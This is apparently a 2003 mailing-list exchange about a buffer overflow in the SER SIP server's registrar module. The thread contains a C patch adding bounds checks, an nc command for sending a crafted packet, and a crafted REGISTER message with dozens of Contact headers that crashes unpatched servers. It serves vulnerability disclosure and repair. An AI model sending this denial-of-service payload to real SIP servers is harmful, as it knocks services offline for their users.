Thanks, I applied the patch. The function was marked on my todo list as "to be rewritten", your patch saves me some time.
regards, Jan.
On 18-01 03:41, Maxim Sobolev wrote:
Folks,
While playing with SER I found that I can trigger repeatable crash when doing REGISTER multiple times. Quick glance at the code in question revealed that indeed, when constructing reply to REGISTER message, SER uses fixed-lengh buffer to put all non-expired contacts for that user and doesn't bother to check for overflow. The bug could be easily exploited by a complete stranger on servers that don't perform authentification of REGISTER requests, and by an user with a valid credintals on server that do authentification. Mounting attack leads to denial of service.
Attached please find fake REGISTER message, which if sent to open server kills it (nc -u my.sip.server 5060 < register.killser), and patch to fix the problem.
-Maxim
$FreeBSD$
--- modules/registrar/reply.c 2003/01/18 00:39:05 1.1 +++ modules/registrar/reply.c 2003/01/18 01:13:13 @@ -53,32 +53,57 @@ */ void build_contact(ucontact_t* _c) {
- char *lastgoodend;
- int nummissed;
- l = 0;
- lastgoodend = b; while(_c) { if (_c->expires > act_time) {
if (l + 10 >= MAX_CONTACT_BUFFER)
break; memcpy(b + l, "Contact: <", 10); l += 10;
if (l + _c->c.len >= MAX_CONTACT_BUFFER)
break; memcpy(b + l, _c->c.s, _c->c.len); l += _c->c.len;
if (l + 4 >= MAX_CONTACT_BUFFER)
break; memcpy(b + l, ">;q=", 4); l += 4;
l += sprintf(b + l, "%-3.2f", _c->q);
l += snprintf(b + l, MAX_CONTACT_BUFFER - l, "%-3.2f", _c->q);
if (l >= MAX_CONTACT_BUFFER)
break;
if (l + 9 >= MAX_CONTACT_BUFFER)
break; memcpy(b + l, ";expires=", 9); l += 9;
l += sprintf(b + l, "%d", (int)(_c->expires - act_time));
l += snprintf(b + l, MAX_CONTACT_BUFFER - l, "%d", (int)(_c->expires - act_time));
if (l >= MAX_CONTACT_BUFFER)
break;
if (l + 2 >= MAX_CONTACT_BUFFER)
break; *(b + l++) = '\r'; *(b + l++) = '\n';
lastgoodend = b + l;
}
_c = _c->next; }
- if (lastgoodend - b != l) {
l = lastgoodend - b;
for(nummissed = 0; _c; _c = _c->next)
nummissed++;
LOG(L_ERR, "build_contact(): Contact list buffer exhaused, %d contact(s) ignored\n", nummissed);
- }
- DBG("build_contact(): Created Contact HF: %.*s\n", l, b);
}
REGISTER sip:127.0.0.1 SIP/2.0 Via: SIP/2.0/UDP 127.0.0.2:123;branch=z9hG4bKnashds7 Max-Forwards: 70 To: Bob sip:bob@biloxi.com From: Bob sip:bob@biloxi.com;tag=456248 Call-ID: 843817637684230@998sdasdh09 CSeq: 1826 REGISTER Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Contact: sip:bob@192.0.2.4 Expires: 7200 Content-Length: 0 User-Agent: Cisco ATA v2.15 ata186 (020918a)